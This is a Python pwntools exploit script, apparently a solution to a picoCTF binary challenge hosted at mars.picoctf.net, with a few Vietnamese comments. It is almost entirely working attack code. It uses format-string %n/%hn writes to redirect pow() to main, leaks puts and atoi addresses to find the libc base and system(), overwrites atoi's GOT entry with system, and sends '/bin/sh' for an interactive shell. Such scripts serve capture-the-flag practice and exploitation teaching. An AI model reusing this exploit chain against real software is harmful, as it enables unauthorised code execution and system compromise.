    r = remote('mars.picoctf.net', 31929)
    #libc = ELF("./libc6_2.31-0ubuntu9.1_amd64.so")


pow_got = binary.got['pow']
main_addr = binary.symbols['main']

log.info(f"Main address: {hex(main_addr)}") # 0x400837
log.info(f"pow() GOT address: {hex(pow_got)}") # 0x601040

payload1 = b"11111111" + p64(pow_got) #+ p64(pow_got+4)

r.sendlineafter(b"A: ",payload1)

#payload2 = b"1_______%1p%11$n--------"
payload2 = b"1_______%" + str(int(main_addr) - 46).encode("ascii") + b"p%11$n--" #4196361

r.sendlineafter(b"B: ",payload2)

r.recvuntil("Calculating for A: ")
log.info("rewrote pow GOT to main")

######################################

def send_payload(r, a, b):
    log.info(f"Sending:\nA:\n{a}\nB:\n{hexdump(b)}")
    r.sendlineafter("A: ", a)
    r.sendlineafter("B: ", b)

def send_format(r, format, values):
    format_prefix = b'1_______'
    values_prefix = b'1_______'
    send_payload(r, format_prefix + format, values_prefix + values)
    out = r.recvline()
    arr = out.split(b" and ")
    res = arr[0].replace(b"Calculating for A: " + format_prefix, b"")
    log.info(f"Received:\n{hexdump(res)}")
    return res

log.info(f"puts() GOT address: {hex(binary.got['puts'])}")

fmt_first_offset = 43
puts_offset_libc = libc.symbols["puts"] #0x0875a0


output = send_format(r, b"%43$s.%44$s.", p64(binary.got["puts"]) + p64(binary.got["atoi"]))

print(output)

puts_addr_str = output.split(b'.')[0].ljust(8, b'\x00')
atoi_addr_str = output.split(b".")[1].ljust(8, b'\x00')
puts_addr = int.from_bytes(puts_addr_str, "little") 
atoi_addr = int.from_bytes(atoi_addr_str, "little") 

log.info(f"puts() runtime address: {hex(puts_addr)}\n")

log.info(f"atoi() runtime address: {hex(atoi_addr)}\n")


libc_base_addr = u64(puts_addr_str) - puts_offset_libc
log.info(f"libc_base address: {hex(libc_base_addr)}\n")

system_offset = libc.symbols['system'] #0x055410
system_addr = libc_base_addr + system_offset
log.info(f"system address: {hex(system_addr)}\n") # demo 0x7fe0e8abc570

##########################################################


atoi_got = binary.got['atoi']

log.info(f"atoi() GOT address: {hex(atoi_got)}") 


#system_addr = 0x7fe0e8abc570 #demo

system_addr_high = (system_addr >> 32) & 0xFFFF
system_addr_medium = (system_addr >> 16) & 0xFFFF
system_addr_low = system_addr & 0xFFFF

print("Original values:")
print("High:", int(system_addr_high))
print("Medium:", int(system_addr_medium))
print("Low:", int(system_addr_low))

# Đưa các giá trị vào một danh sách
values = [
    ("high", system_addr_high, "13" ),
    ("medium", system_addr_medium, "12" ),
    ("low", system_addr_low, "11")
]

# Sắp xếp danh sách dựa trên giá trị
values.sort(key=lambda x: x[1])

print("\nSorted values:")

for item in values:
    print(item[0] + ":" , item[1] , item[2] )


payload1 = b"11111111" + p64(atoi_got ) + p64(atoi_got + 2 ) + p64(atoi_got + 4)

r.sendlineafter(b"A: ",payload1)

#payload2 = b"1_______%1p%12$n%2p%11$n"

# payload2 = b"1_______%" + str(int(system_addr_high) - 46).encode("ascii") + b"p%13$hn%" 
# payload2 += str(int(system_addr_low) - int(system_addr_high)).encode("ascii") + b"p%11$hn%"
# payload2 += str(int(system_addr_medium) - int(system_addr_low)).encode("ascii") + b"p%12$hn--" 
payload2 = b"1_______%" + str(values[0][1] - 46).encode("ascii") + b"p%" + values[0][2].encode("ascii") + b"$hn%" 
payload2 += str(values[1][1] - values[0][1]).encode("ascii") + b"p%"+ values[1][2].encode("ascii") + b"$hn%"
payload2 += str(values[2][1] - values[1][1]).encode("ascii") + b"p%"+ values[2][2].encode("ascii") + b"$hn--" 

r.sendlineafter(b"B: ",payload2)

##################################

r.recvuntil("Calculating for A: ")
log.info("rewrote atoi GOT to system")

payload1 = b"/bin/sh\x00"
r.sendlineafter(b"A: ",payload1)
payload2 = b"/sh"
r.sendlineafter(b"B: ",payload2)
                
r.interactive()